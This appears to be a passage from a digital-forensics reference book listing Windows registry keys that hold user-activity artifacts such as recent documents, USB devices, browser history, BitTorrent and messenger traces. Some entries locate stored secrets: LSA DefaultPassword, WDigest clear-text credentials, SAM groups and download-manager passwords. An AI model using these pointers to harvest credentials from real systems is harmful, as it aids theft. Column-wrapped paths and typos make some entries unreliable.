NTUSER.DAT\Software\America
Online\AOL Instant
Messenger\CurrentVersion\user
s\username\[recent IM
ScreenNames]
AOL 8 Messenger
Registered User
7
NTUSER.DAT\Software\America
Online\AOL Instant
Messenger\CurrentVersion\User
s
App Information
1
0
UsrClass.dat\LocalSettings\So
ftware\Microsoft\Windows\Curr
entVersion\AppModel\Repositor
y\Packages\Microsoft.Microsof
tedge\Microsoft.MicrosoftEdge
_20.10240.16384.0_neutral
8wekyb3d8b
bwe\MicrosoftEdge\Capabilitie
s\FileAssociations
App Install Date/Time
1
0
UsrClass.dat\LocalSettings\So
ftware\Microsoft\Windows\Curr
entVersion\AppModel\Repositor
y\Families\Microsoft.Microsof
tedge_8wekyb3d8bbwe\Microsoft
.MicrosoftEdge_20.10240.16384
.0_neut ral 8wekyb3d8bbwe /
InstallTime
App Install Date/Time
8
1
0
UsrClass.dat\Local
Settings\Software\ Microsoft\
Windows\CurrentVersion\ AppMo
del\Repository\Families\\/
InstallTime
Application
Information
X
P
7 8
1
0
NTUSER.DAT\Software\%Applicat
ion Name%
Application Last
Accessed
7
NTUSER.DAT\Software\Microsoft
\Windows\CurrentVersion\Explo
rer\UserAssist\
Application MRU Last
Visited
7
NTUSER.DAT\Software\Microsoft
\Windows\CurrentVersion\Explo
rer\ComDlg32\
Application MRU Open
Saved
7
NTUSER.DAT\Software\Microsoft
\Windows\CurrentVersion\Explo
rer\ComDlg32\OpenSaveMRU
Application MRU
Recent Document
7
NTUSER.DAT\Software\Microsoft
\Windows\CurrentVersion\Explo
rer\RecentDocs
AppX App Values
8
1
0 UsrClass.dat\
Auto Run Programs
List
7
NTUSER.DAT\Software\Microsoft
\Windows\CurrentVersion\Run
376
Autorun USBs, CDs,
DVDs
X
P
7 8
1
0
NTUSER.DAT\Software\Microsoft
\ Windows\ CurrentVersion\Exp
lorer\ AutoplayHandlers /
DisableAutoplay
Background Activity
Moderator
SYSTEM\CurrentControlSet\Serv
ices\bam\UserSettings\{SID}
Background Activity
Moderator
SYSTEM\CurrentControlSet\Serv
ices\dam\UserSettings\{SID
BitComet Agent 1
7
HKEY_LOCAL_MACHINE\SOFTWARE\C
lasses\CLSID\{C8FF2A06-638A-
4913-8403-50294CFF6608}
BitComet Agent 1.0
7
HKEY_LOCAL_MACHINE\SOFTWARE\C
lasses\Typelib\{2D2C1FBD-
624D-4789-9AE0-F4B66F9EE6E2}
BitComet Agent 2
7
HKEY_LOCAL_MACHINE\SOFTWARE\C
lasses\AppID\{B99B5DF3-3AD2-
463F-8F8C-86787623E1D5}
BitComet BHO
7
HKEY_LOCAL_MACHINE\SOFTWARE\C
lasses\AppID\{00980C9D-751F-
4A5F-B6CE-6D81998264FD}
BitComet DL Manager
7
HKEY_USERS\(SID)\Software\Mic
rosoft\Windows\CurrentVersion
\Ext\Stats\{A8DC7D60-AD8F-
491E-9A84-8FF901E7556E}
BitComet DM Class
7
HKEY_LOCAL_MACHINE\SOFTWARE\C
lasses\CLSID\{A8DC7D60-AD8F-
491E-9A84-8FF901E7556E}
BitComet File Types
7
HKEY_CURRENT_USER\(SID)\Softw
are\Classes\.bc!\: "BitComet"
BitComet GUID
7
HKEY_LOCAL_MACHINE\SOFTWARE\M
icrosoft\Windows\CurrentVersi
on\Explorer\Browser Helper
Objects\{39F7E362-828A-4B5A-
BCAF-5B79BFDFEA60}\:
"BitComet ClickCapture
BitComet Helper
7
HKEY_LOCAL_MACHINE\SOFTWARE\C
lasses\CLSID\{39F7E362-828A-
4B5A-BCAF-5B79BFDFEA60}
BitComet Helper
7
HKEY_USERS\(SID)\Software\Mic
rosoft\Windows\CurrentVersion
\Ext\Stats\{39F7E362-828A-
4B5A-BCAF-5B79BFDFEA60}
BitComet IBcAgent
7
HKEY_LOCAL_MACHINE\SOFTWARE\C
lasses\Interface\{E8A058D1-
C830-437F-A029-10D777A8DD40}
BitComet IDownloadMan
7
HKEY_LOCAL_MACHINE\SOFTWARE\C
lasses\Interface\{6CFA2528-
2725-491D-8E0D-E67AB5C5A17A}
377
BitComet IE DL Manage
7
HKEY_LOCAL_MACHINE\SOFTWARE\M
icrosoft\Internet
Explorer\Extensions
BitComet IE Extension
7
HKEY_USERS\(SID)\Software\Mic
rosoft\Windows\CurrentVersion
\Ext\Stats\{D18A0B52-D63C-
4ED0-AFC6-C1E3DC1AF43A}
BitComet IE Link 1
7
HKEY_USERS\(SID)\Software\Mic
rosoft\InternetExplorer\Down-
loadUI: "{A8DC7D60-AD8F-491E-
9A84-8FF901E7556E}
BitComet IE Link 2
7
HKEY_LOCAL_MACHINE\SOFTWARE\M
icrosoft\InternetExplorer\Dow
nloadUI:"{A8DC7D60-AD8F-491E-
9A84-8FF901E7556E}"
BitComet IIEClickCapt
7
HKEY_LOCAL_MACHINE\SOFTWARE\C
lasses\Interface\{F08F65A5-
7F91-45D7-A119-12AC4AB3D229}
BitComet Inst. Path
7
HKEY_LOCAL_MACHINE\SOFTWARE\M
icrosoft\Windows\CurrentVersi
on\AppPaths\BitComet.exe
BitComet Installation
7
HKEY_LOCAL_MACHINE\SOFTWARE\C
lasses\Typelib\{66A8414F-
F2E4-4766-BE09-8F72CDDACED4}
BitLocker Drive
Encryption Driver
Service
X
P
7 8
1
0
SYSTEM\ControlSet001\services
\ fvevol\Enum
BitLocker To Go
7
NTUSER.DAT\Software\Microsoft
\Windows\CurrentVersion\FveAu
toUnlock\
BitLocker To Go
X
P
7 8
1
0
NTUSER.DAT\Software\Microsoft
\ Windows\CurrentVersion\ Fve
AutoUnlock\
BitTorrent Clients
7
HKEY_LOCAL_MACHINE\SOFTWARE\M
icrosoft\Windows\CurrentVersi
on\Uninstall\(BitTorrent
Client Name)
BitTorrent Compatabil
7
HKEY_USERS\(SID)\Software\Mic
rosoft\WindowsNT\CurrentVersi
on\AppCompatFlags\Compatibili
ty Assistant\Persisted\
BitTorrent Mag Links
7
HKEY_USERS\(SID)\Software
\Classes\Magnet\shell\open\co
mmsnd\:""C:\Program
Files\(BitTorrent Client
Name)\(BitTorrent Client
Executable File.exe)" "%1""
BitTorrent MRUList
7
HKEY_USERS\(SID)\Software\Mic
rosoft\Windows\CurrentVersion
378
\Explorer\FileExts\.torrent\O
penWithList
BitTorrent Recent
7
HKEY_USERS\(SID)\Software\Mic
rosoft\Windows\CurrentVersion
\Explorer\RecentDocs\.torrent
BitTorrent Reg Values
7
HKEY_LOCAL_MACHINE\SOFTWARE\C
lasses
BitTorrent Tracing 1
7
HKEY_LOCAL_MACHINE\(SID)\SOFT
WARE\Microsoft\Tracing\(BitTo
rrent Client Name)_RASMANCS
BitTorrent Tracing 2
7
HKEY_LOCAL_MACHINE\(SID)\SOFT
WARE\Microsoft\Tracing\(BitTo
rrent Client Name)_RASAPI32
Cached Passwords
7
SECURITY\Policy\Secrets\Defau
ltPassword/[CurrVal and
OldVal]
Camera App
1
0
NTUSER.DAT\Software\Microsoft
\ Windows\CurrentVersion\Expl
orer\ RecentDocs\.jpg&ls=0&b=
0
Camera Mounting
7 8
1
0
SYSTEM\ControlSet001\Enum\USB
\
CD Burning
7 8
NTUSER.DAT\Software\Microsoft
\ Windows\CurrentVersion\Expl
orer\ CD
Burning\Drives\Volume\ Curren
t Media
CD Burning
X
P
NTUSER.DAT\Software\Microsoft
\ Windows\CurrentVersion\Expl
orer\ CD Burning\ Current
Media /Disc Label
CDROM Enumeration
Service
X
P
7 8
1
0
SYSTEM\ControlSet001\services
\ cdrom\Enum
Class GUID for HDD
Drivers
X
P
7 8
1
0
SYSTEM\ControlSet001\Control\
Class\{4D36E967-E325-11CE-
BFC1- 08002BE10318}
Class GUID for
Storage Volumes
X
P
7 8
1
0
SYSTEM\ControlSet001\Control\
Class\{71A27CDD-812A-11D0-
BEC7-08002BE2092F}
Class GUID for USB
Host Controllers and
Hubs
X
P
7 8
1
0
SYSTEM\ControlSet001\Control\
Class\{36FC9E60-C465-11CF-
8056-444553540000}
Class GUID for
Windows Portable
Devices WPD
7 8
1
0
SYSTEM\ControlSet001\Control\
Class\{EEC5AD98-8080-425F-
922A-DABF3DE3F69A}
Class Identifiers
X
P
7 8
1
0 SOFTWARE\Classes\CLSID
Classes
HKEY_CLASSES_ROOT
Clearing Page File at
Shutdown
X
P
7 8
1
0
SYSTEM\ControlSet###\Control\
Session Manager\Memory
379
Management /
ClearPageFileAtShutdown
Clearing PageFile at
Shutdown
7
SYSTEM\ControlSet###\Control\
Session Manager\Memory
Management\ClearPageFileAtShu
tdown
Common Dialog
1
0
NTUSER.DAT\SOFTWARE\Microsoft
\Windows\CurrentVersion\Explo
rer\ComDlg32\OpenSavePidlMRU\
.vhd
Common Dialog 32 CID
Size MRU App Access
X
P
7 8
1
0
NTUSER.DAT\Software\Microsoft
\ Windows\CurrentVersion\Expl
orer\ ComDlg32\CIDSizeMRU
Common Dialog 32
First Folder App
Access
7 8
NTUSER.DAT\Software\Microsoft
\ Windows\CurrentVersion\Expl
orer\ ComDlg32\FirstFolder
Common Dialog 32 Last
Visited MRU App
Access
X
P
NTUSER.DAT\Software\Microsoft
\ Windows\CurrentVersion\Expl
orer\ComDlg32\LastVisitedMRU
Common Dialog 32 Last
Visited PIDL MRU App
Access
X
P
7 8
1
0
NTUSER.DAT\Software\Microsoft
\ Windows\CurrentVersion\Expl
orer\ ComDlg32\LastVisitedPid
lMRU
Common Dialog 32 Open
Save document Access
by Extension
NTUSER.DAT\Software\Microsoft
\ Windows\ CurrentVersion\Exp
lorer\ ComDlg32\OpenSaveMRU\
Common Dialog
ComDlg32 Access
X
P
7 8
1
0
NTUSER.DAT\Software\Microsoft
\ Windows\CurrentVersion\Expl
orer\ ComDlg32\LastVisitedPid
lMRULegacy
Common Dialog
ComDlg32 Access
X
P
7 8
1
0
NTUSER.DAT\Software\Microsoft
\ Windows\CurrentVersion\Expl
orer\ ComDlg32\OpenSavePidlMR
U\
Communications App E-
Mail ID
Settings.dat\
Communications App E-
Mail User Name
settings.dat\LocalState\Platf
orm / UserName
Communications App ID
info
Settings.dat\RoamingState\\ A
ccounts
Computer Name
X
P
7 8
1
0
SYSTEM\ControlSet###\Control\
ComputerName\ComputerName
Computer Name Active
Computer Name
X
P
7 8
1
0
SYSTEM\ControlSet###\Control\
ComputerName\ComputerName\ Ac
tiveComputerName
Computer Name and
Volume Serial Number
X
P
7 8
1
0
NTUSER.DAT\Software\Microsoft
\ Windows Media\WMSDK\General
Converted Wallpaper
X
P
7 8
1
0
NTUSER.DAT\\Control
Panel\Desktop
380
Cortana Search
1
0
NTUSER.DAT\Software\Microsoft
\ Windows\CurrentVersion\Expl
orer\ FileExts\.com/search?q=
Cortana Search
1
0
NTUSER.DAT\Software\Microsoft
\ Windows\CurrentVersion\Expl
orer\ RecentDocs\.&input=2&FO
RM=WNS BOX&cc=US&setlang=en-
US&sbts=/ 0
Credential Provider
Filters
HKEY_LOCAL_MACHINE\Software\M
icrosoft\Windows\CurrentVersi
on\Authentication\Credential
Provider Filters\*
Credential Provider
Filters
HKEY_LOCAL_MACHINE\Software\W
ow6432Node\Microsoft\Windows\
CurrentVersion\Authentication
\Credential Provider
Filters\*
Credential Providers
HKEY_LOCAL_MACHINE\Software\M
icrosoft\Windows\CurrentVersi
on\Authentication\Credential
Providers\*
Credential Providers
HKEY_LOCAL_MACHINE\Software\W
ow6432Node\Microsoft\Windows\
CurrentVersion\Authentication
\Credential Providers\*
Current Configuration
HKEY_CURRENT_CONFIG
Current Control Set
7
SYSTEM\Select
Current Control Set
X
P
7 8
1
0 SYSTEM\Select
Current Control Set
Information
7
SYSTEM\Select\Current
Current Drive
Enumeration Service
X
P
7 8
1
0
SYSTEM\ControlSet001\services
\ Disk\Enum
Current Theme
7
NTUSER.DAT\Software\Microsoft
\Windows\CurrentVersion\Theme
s
Current USB Storage
Enumeration Service
X
P
7 8
1
0
SYSTEM\ControlSet001\services
\ USBSTOR\Enum
Current Version
Information
X
P
7 8
1
0
SOFTWARE\Microsoft\Windows\ C
urrentVersion\
Currently Defined
Printer
7
SYSTEM\ControlSet###\Control\
Print\Printers
Currently Mounted
Drives MRU
7 8
1
0
SYSTEM\CurrentControlSet\Serv
ices\ Disk\Enum
Custom Group List by
RID
7
SAM\Domains\Account\Aliases\
Custom Group Names
7
SAM\Domains\Account\Aliases\N
ames
381
DAP Categories
X
P
HKEY_USERS\SID\Software\Speed
Bit\Download
Accelerator\Category
DAP Context Menu 1
X
P
HKEY_USERS\ S-1-5-21-
1757981266-1708537768-
725345543-
500\Software\Microsoft\Intern
etExplorer\MenuExt
DAP Context Menu 2
X
P
HKEY_USERS\ S-1-5-21-
1757981266-1708537768-
725345543-
500\Software\Microsoft\Intern
etExplorer\MenuExt
DAP DL Activity
X
P
HKEY_USERS\SID\Software\Speed
Bit\Download Accelerator
DAP Download Dir
X
P
HKEY_USERS\SID\Software\Speed
Bit\Download
Accelerator\FileList\(Site/Se
rver)\DownloadDir
DAP Download URLs
X
P
HKEY_USERS\SID\Software\Speed
Bit\Download
Accelerator\HistoryCombo
DAP FileList
X
P
HKEY_USERS\SID\Software\Speed
Bit\Download
Accelerator\FileList
DAP Host Data
X
P
HKEY_USERS\SID\Software\Speed
Bit\Download
Accelerator\FileList\HostsDat
a
DAP Ignored Sites
X
P
HKEY_USERS\SID\Software\Speed
Bit\Download
Accelerator\FileList\(Site/Se
rver)\BlackList
DAP Install/V/Path
X
P
HKEY_LOCAL_MACHINE\SOFTWARE\M
icrosoft\Windows\CurrentVersi
on\Uninstall\Download
Accelerator Plus
DAP Protected URLs
X
P
HKEY_USERS\SID\Software\Speed
Bit\Download
Accelerator\FileList\(Site/Se
rver)
DAP Proxy Data
X
P
HKEY_USERS\SID\Software\Speed
Bit\Download
Accelerator\Proxy
DAP Searched Words
X
P
HKEY_USERS\SID\Software\Speed
Bit\Download
Accelerator\SearchTab
DAP Unique File ID
X
P
HKEY_USERS\SID\Software\Speed
Bit\Download
382
Accelerator\FileList\(Unique
File ID)
DAP User Credentials
X
P
HKEY_USERS\SID\Software\Speed
Bit\Download
Accelerator\UserInfo
Defrag Last Run Time
7 8
1
0
SOFTWARE\Microsoft\Dfrg\Stati
stics\ Volume/ LastRunTime
Disables (or stores
if 1) clear-text
creds
8
HKEY_LOCAL_MACHINE\SYSTEM\Cur
rentControlSet\Control\Securi
tyProviders\WDigest\UseLogonC
redential
Disk Class Filter
Driver stdcfltn
1
0
SYSTEM\ControlSet001\services
\ stdcfltn
Display Enumeration
X
P
7 8
1
0
SYSTEM\ControlSet001\Enum\ DI
SPLAY\\
Display Monitor
Settings
7
SYSTEM\ControlSet###\Enum\Dis
play
Display Monitors
X
P
7 8
1
0
SYSTEM\ControlSet###\Enum\Dis
play
DLLs Loaded at Bootup
7
SYSTEM\ControlSet###\Control\
SessionManager\KnownDLLs
DLLs Loaded at Bootup
X
P
7 8
1
0
SYSTEM\ControlSet###\Control\
SessionManager\KnownDLLs
Drives Mounted by
User
X
P
7 8
1
0
NTUSER.DAT\Software\Microsoft
\ Windows\ CurrentVersion\Exp
lorer\ MountPoints2\
Dynamic Disk
X
P
7
SYSTEM\\ControlSet###\Service
s\ DMIO\Boot Info\Primary
Disk Group
Dynamic Disk
Identification
7
SYSTEM\ControlSet###\Services
\DMIO\Boot Info\Primary Disk
Group
Edge Browser
Favorites, Edge
Favorites
1
0
UsrClass.dat\Local
Settings\Software\ Microsoft\
Windows\CurrentVersion\ AppCo
ntainer\Storage\microsoft.
microsoftedge_8wekyb3d8bbwe\M
icrosoftEdge\FavOrder\Favorit
es\/ Order
Edge History Days to
Keep
1
0
UsrClass.dat \Local
Settings\Software\ Microsoft\
Windows\CurrentVersion\ AppCo
ntainer\Storage\microsoft.
microsoftedge_8wekyb3d8bbwe\M
icrosoftEdge\InternetSettings
\ Url History / DaysToKeep
Edge Typed URLs
1
0
UsrClass.dat \ Local
Settings\Software\ Microsoft\
Windows\CurrentVersion\ App
Container\Storage\microsoft.
383
microsoftedge_8wekyb3d8bbwe\
MicrosoftEdge\TypedURLs
Edge Typed URLs Time
1
0
UsrClass.dat \ Local
Settings\Software\Microsoft\
Windows\CurrentVersion\App
Container\Storage\microsoft.
microsoftedge_8wekyb3d8bbwe\M
icrosoftEdge\TypedURLsTime
Edge Typed URLs Visit
Count
1
0
UsrClass.dat \ Local
Settings\Software\ Microsoft\
Windows\CurrentVersion\ App
Container\Storage\microsoft.
microsoftedge_8wekyb3d8bbwe\M
icrosoftEdge\TypedURLsVisitCo
unt
EFS
X
P
7 8
1
0
NTUSER.DAT\Software\Microsoft
\ Windows
NT\CurrentVersion\EFS\ Curren
tKeys
EFS Attribute in File
Explorer Green Color
1
0
NTUSER.DAT\Software\Microsoft
\ Windows\ CurrentVersion\Exp
lorer\ Advanced
Encrypted Page File
7 8
1
0
SYSTSEM\ControlSet###\Control
\ FileSystem /
NtfsEncryptPagingFile
Event Log
Restrictions
7
SYSTEM\ControlSet###\Services
\EventLog\Application
Event Log
Restrictions
X
P
7 8
1
0
SYSTEM\ControlSet###\Services
\ EventLog\Application /
RestrictGuest Access
Favorites
1
0
UsrClass.dat\LocalSettings\So
ftware\Microsoft\Windows\Curr
entVersion\AppContainer\Stora
ge\microsoft.microsoftedge_8w
ekyb3d8bbwe\MicrosoftEdge\Fav
Order\
File Access Windows
Apps
1
0
UsrClass.dat\Local
Settings\Software\ Microsoft\
Windows\CurrentVersion\ AppMo
del\SystemAppData\\PersistedS
torage ItemTable\ManagedByApp
File Associations for
Immersive
Apps/Windows Apps
8
1
0
UsrClass.dat\Local
Settings\Software\ Microsoft\
Windows\CurrentVersion\ AppMo
del\Repository\Packages\\App\
Capabilities\ FileAssociation
s
File Extension
Association Apps MRU
X
P
7 8
1
0
NTUSER.DAT\Software\Microsoft
\ Windows\ CurrentVersion\Exp
384
lorer\ FileExts\.\OpenWithLis
t
File Extension
Associations
X
P
7 8
1
0
NTUSER.DAT\Software\Microsoft
\ Windows\ CurrentVersion\Exp
lorer\FileExts\.
File Extension
Associations Global
X
P
7 8
1
0 SOFTWARE\Classes\.ext
File Extensions
Program Association
X
P
7 8
1
0
NTUSER.DAT\Software\Microsoft
\ Windows\CurrentVersion\Expl
orer\ FileExts\./OpenWithProg
ids
File History
8
1
0
NTUSER.DAT\Software\Microsoft
\ Windows\CurrentVersion\File
History
File History Home
Group Settings
8
1
0
SOFTWARE\Microsoft\Windows\Cu
rrent
Version\FileHistory\HomeGroup
\Target
File History Last
Backup Time
8
1
0
NTUSER.DAT\Software\Microsoft
\ Windows\CurrentVersion\File
History/ ProtectedUpToTime
File History User(s)
Initiating
8
1
0
SYSTEM\ControlSet###\Services
\fhsvc\ Parameters\Configs
Firewall Enabled
X
P
7 8
1
0
SYSTEM\ControlSet###\Services
\ SharedAccess\Parameters\ Fi
rewall Policy\StandardProfile
/ EnableProfile
Firewall On or Off
7
SYSTEM\ControlSet###\Services
\SharedAccess\Parameters\Fire
wallPolicy\StandardProfile\En
ableFirewall
Floppy Disk
Information
X
P V
SYSTEM\ControlSet###\Enum\FDC
\
Folder Descriptions
7 8
1
0
SOFTWARE\Microsoft\Windows\Cu
rrent
Version\Explorer\FolderDescri
ptions\
Folders Stream MRUs
NTUSER.DAT\Software\Microsoft
\ Windows\ CurrentVersion\ Ex
plorer\StreamMRU
FTP
7
NTUSER.DAT\Software\Microsoft
\FTP\Accounts\
FTP
X
P
7
NTUSER.DAT\Software\Microsoft
\FTP\ Accounts\
General Open/Saved
X
P
7
HKEY_CURRENT_USER\Software\Mi
crosoft\Windows\CurrentVersio
n\Explorer\ComDlg32\OpenSaveP
idlMRU
385
General Recent Docs
X
P
HKEY_CURRENT_USER\Software\Mi
crosoft\Windows\CurrentVersio
n\Explorer\Advanced
General Recent Files
X
P
HKEY_CURRENT_USER\Software\Mi
crosoft\Windows\CurrentVersio
n\Explorer\Advanced
General USB Devices
7
HKEY_LOCAL_MACHINE\SYSTEM\Cur
rentControlSet\Enum\USBSTOR
Google Chrome Last
Browser Run Time
NTUSER.DAT\Software\Google\ U
pdate\ClientState\{8A69D345-
D564-463c-AFF1-A69D9Ec-AFF1-
A69D9E530F96} / lastrun
Google Chrome Version
NTUSER.DAT\Software\Google\ C
hrome\BLBeacon
Google Client History
7
NTUSER.DAT\Software\Google\Na
vClient\1.1\History
Google Client History
NTUSER.DAT\Software\Google\ N
avClient\1.1\History
Google Update
Date/Time
NTUSER.DAT\Software\Google\ G
oogle Toolbar\GoogleUpdate /
InstallTimestamp
Group Memberships
X
P
7 8
1
0
SOFTWARE\Microsoft\Windows\ C
urrentVersion\Group
Policy\ GroupMembership
Group Memberships
X
P
7 8
1
0
SOFTWARE\Microsoft\Windows\ C
urrentVersion\Group Policy\
Group Names - Default
X
P
7 8
1
0
SAM\SAM\Domains\Builtin\Alias
es\ Names
Groups - Default
X
P
7 8
1
0
SAM\SAM\Domains\Builtin\Alias
es\
Groups Names User or
App Defined
X
P
7 8
1
0
SAM\SAM\Domains\Account\Alias
es\ Names
Groups Names User or
App Defined
X
P
7 8
1
0
SAM\SAM\Domains\Account\Alias
es\
History - Days to
Keep
1
0
NTUSER.DAT\SOFTWARE\Microsoft
\Windows\CurrentVersion\Inter
net Settings\Url History
/DaysToKeep
History days to keep
1
0
UsrClass.dat\SOFTWARE\LocalSe
ttings\Software\Microsoft\Win
dows\CurrentVersion\AppContai
ner\ Storage\microsoft.micros
oftedge_8wekyb3d8bbwe\Microso
ftEdge\InternetSettings\Url
History /DaysToKeep
Hive List Paths
X
P
7 8
1
0
SYSTEM\ControlSet###\Control\
hivelist
Home Group
7
SYSTEM\ControlSet###\services
\HomeGroupProvider\ServiceDat
a
386
Home Group
7 8
1
0
SYSTEM\ControlSet###\Services
\Home
GroupProvider\ServiceData\
Home Group Host
7 8
1
0
NTUSER.DAT\SOFTWARE\Microsoft
\ Windows\CurrentVersion\Home
Group\ UIStatusCache
Home Group ID GUID
7 8
1
0
SOFTWARE\Microsoft\Windows\ C
urrentVersion\HomeGroup\HME\
Home Group Info
7 8
1
0
SYSTEM\ControlSet###\Services
\ HomeGroupProvider\ServiceDa
ta\
Home Group Initiated
7 8
1
0
SOFTWARE\Microsoft\Windows\ C
urrentVersion\HomeGroup\HME
Home Group Members
7 8
1
0
SYSTEM\ControlSet###\Services
\Home
GroupProvider\ServiceData\\ M
embers\
Home Group Members
MAC Address(es)
7 8
1
0
SOFTWARE\Microsoft\Windows\ C
urrentVersion\HomeGroup\HME\\
Members
Home Group Network
Locations Home
7 8
1
0
SOFTWARE\Microsoft\Windows\Cu
rrent
Version\HomeGroup\NetworkLoca
tions\ Home
Home Group Network
Locations Work
7 8
1
0
SOFTWARE\Microsoft\Windows\Cu
rrent
Version\HomeGroup\NetworkLoca
tions\ Work
Home Group Sharing
Preferences
7 8
1
0
SOFTWARE\Microsoft\Windows\ C
urrentVersion\HomeGroup\HME\\
SharingPreferences\
Home Group Sharing
Preferences
7 8
1
0
SOFTWARE\Microsoft\Windows\ C
urrentVersion\HomeGroup\ Shar
ingPreferences\\
Human Interface
Devices
7
SYSTEM\ControlSet###\Enum\HID
Human Interface
Devices
X
P
7 8
1
0 SYSTEM\ControlSet###\Enum\HID
ICQ
NTUSER.DAT\Software\Mirabilis
\ICQ\*
ICQ Information
SOFTWARE\Mirabilis\ICQ\Owner
ICQ Last User
NTUSER.DAT\Software\Mirabilis
\ICQ\ Owners - LastOwner
ICQ Nickname
NTUSER.DAT\Software\Mirabilis
\ICQ\ Owners\UIN - Name
ICQ Registered Users
NTUSER.DAT\Software\Mirabilis
\ICQ\ Owners\UIN
IDE Device
Information
7
SYSTEM\ControlSet###\Enum\IDE
\
387
IDE Device
Information
X
P
7 8
1
0
SYSTEM\ControlSet###\Enum\IDE
\
IDE Enumeration
X
P
7 8
1
0
SYSTEM\ControlSet001\Enum\ ID
E\\
Identity
1
0
settings.dat\LocalState\HKEY_
CURRENT_USER\Software\Microso
ft\Office\16.0\Common\Identit
y\Identities\
Identity Live Account
1
0
NTUSER\SOFTWARE\Microsoft\15.
0\Common\Identity\Identities\
IDM Incomplete DLs
X
P
HKEY_CURRENT_USER\Software\Do
wnloadManager\Queue
IDM Install, Proxy
X
P
HKEY_CURRENT_USER\Software\Do
wnloadManager
IDM Installation
X
P
KEY_LOCAL_MACHINE\SOFTWARE\Mi
crosoft\Windows\CurrentVersio
n\Uninstall\Internet Download
Manager
IDM Offline Browsing
X
P
HKEY_CURRENT_USER\Software\Do
wnloadManager\GrabberSts\Proj
ects
IDM Passwords
X
P
HKEY_CURRENT_USER\Software\Do
wnloadManager\Passwords\(URL)
IDM Total DL Count
X
P
HKEY_CURRENT_USER\Software\Do
wnloadManager\maxID
IE 6 Auto Logon and
password
7
NTUSER.DAT\Software\Microsoft
\Protected Storage\System
Provider\SID\Internet
Explorer\Internet Explorer\-
URL: StringData
IE 6 Clear Browser
History
7
NTUSER.DAT\Software\Microsoft
\Internet
Explorer\Privacy\ClearBrowser
HistoryOnExit
IE 6 Default Download
Directory
7
NTUSER.DAT\Software\Microsoft
\Internet Explorer
IE 6 Favorites List
7
NTUSER.DAT\Software\Microsoft
\Windows\CurrentVersion\Explo
rer\MenuOrder\Favorites\
IE 6 Settings
7
NTUSER.DAT\Software\Microsoft
\Internet Explorer\Main
IE 6 Typed URLs
7
NTUSER.DAT\Software\Microsoft
\Internet Explorer\Typed URLs
IE Auto Complete Form
Data
NTUSER.DAT\Software\Microsoft
\ Protected Storage System
Provider
IE Auto Logon and
Password
NTUSER.DAT\Software\Microsoft
\ Protected Storage System
Provider\ SID\Internet
Explorer\Internet Explorer
388
IE Cleared Browser
History on Exit
on/off
NTUSER.DAT\Software\Microsoft
\ Internet Explorer\ Privacy
/ ClearBrowserHistoryOnExit
IE Default Download
Directory
NTUSER.DAT\Software\Microsoft
\ Internet Explorer
IE Favorites List
X
P
7 8
1
0
NTUSER.DAT\Software\Microsoft
\ Windows\CurrentVersion\Expl
orer\ MenuOrder\ Favorites /
Order
IE History Status
X
P
7 8
NTUSER.DAT\Software\Microsoft
\ Windows\ CurrentVersion\Int
ernet
Settings\ 5.0\Cache\Extensibl
e Cache\
IE IntelliForms
NTUSER.DAT\Software\Microsoft
\ Internet
Explorer\ IntelliForms
IE Preferences, IE
Settings
NTUSER.DAT\Software\Microsoft
\ Internet Explorer\ Main
IE Protected Storage
X
P
HKEY_CURRENT_USER\SOFTWARE\Mi
crosoft\ProtectedStorageSyste
mProvider
IE Search Terms
NTUSER.DAT\Software\Microsoft
\Protected Storage System
Provider\SID\Internet
Explorer\Internet Explorer -
q:StringIndex
IE Typed URLs
NTUSER.DAT\Software\Microsoft
\Internet Explorer\TypedURLs
IE Typed URLs Time
NTUSER.DAT\Software\Microsoft
\ Internet
Explorer\TypedURLsTime
IE URL History Days
to Keep
NTUSER.DAT\Software\Microsoft
\ Windows\CurrentVersion\Inte
rnet Settings\UrlHistory /
DaysToKeep
IE Web Form Data
NTUSER.DAT\Software\Microsoft
\Protected Storage System
Provider\SID\Internet
Explorer\Internet Explorer -
IE/Edge Auto Passwd
1
0
HKEY_CURRENT_USER\Software\Mi
crosoft\Internet
Explorer\IntelliForms\Storage
2
If hidden from
timeline view, key is
present
1
0
HKCU\Software\Microsoft\Windo
ws\CurrentVersion\ActivityDat
aModel\ActivityAccountFilter\
IM Contact List
NTUSER.DAT\Software\Microsoft
\ MessengerService\ListCache\
.NET Messenger Service
389
IM File Sharing
NTUSER.DAT\Software\Microsoft
\ MSNMessenger\FileSharing -
Autoshare
IM File Transfers
NTUSER.DAT\Software\Microsoft
\ Messenger Service -
FtReceiveFolder
IM File Transfers
NTUSER.DAT\Software\Microsoft
\ MSNMessenger\-
FTReceiveFolder
IM Last User
NTUSER.DAT\Software\Microsoft
\ MessengerService\ListCache\
.NET Messenger Service -
IdentityName
IM Logging Enabled
NTUSER.DAT\Software\Microsoft
\MSN
Messenger\PerPassportSettings
\ ##########\-
MessageLoggingEnabled
IM Message History
NTUSER.DAT\Software\Microsoft
\MSN
Messenger\PerPassportSettings
\ ##########\- MessageLog
Path
IM MSN Messenger
NTUSER.DAT\Software\Microsoft
MessengerService\ ListCache\.
NET MessengerService\*
IM Saved Contact List
NTUSER.DAT\Software\Microsoft
\ Messenger Service -
ContactListPath
IMV Usage
NTUSER.DAT\Software\Yahoo\Pag
er\ IMVironments (global
value)
IMVs MRU list
SNTUSER.DAT\Software\Yahoo\Pa
ger\ profiles\screen
name\IMVironments
Index Locations for
local searches
7 8
1
0
SOFTWARE\Microsoft\Windows
Search\Gather\Windows\SystemI
ndex\StartPages\#> /URL
Indexed Folders
7 8
1
0
SOFTWARE\Microsoft\Window
Search\ CrawlScopeManager\ Wi
ndows\ SystemIndex\ WorkingSe
tRules\#>/ URL
Installed Application
X
P
7 8
1
0
SOFTWARE\Microsoft\Windows\ C
urrentVersion\App Paths\
Installed
Applications
X
P
7 8
1
0 SOFTWARE\
Installed
Applications
7 8
1
0 SOFTWARE\Wow6432Node\
390
Installed
Applications
7 8
1
0
SOFTWARE\Wow6432Node\Microsof
t\ Windows\CurrentVersion\Sha
redDLLs
Installed Apps
HKEY_LOCAL_
MACHINE\SOFTWARE\Microsoft\Wi
ndoWs\CurrentVersion\(AppPath
s)
Installed Default
Internet Browsers
X
P
7 8
1
0
SOFTWARE\Clients\StartMenuInt
ernet / default
Installed Internet
Browser
X
P
7 8
1
0
SOFTWARE\Clients\StartMenuInt
ernet\
Installed Metro Apps
- Per Computer
8
1
0
SOFTWARE\Software\Microsoft\
Windows\CurrentVersion\Appx\A
ppxAll
UserStore\Applications\
Installed Metro Apps
Per User
8
1
0
SOFTWARE\Software\Microsoft\
Windows\CurrentVersion\Appx\A
ppxAllU serS tore\\
Installed Printers
Properties
7
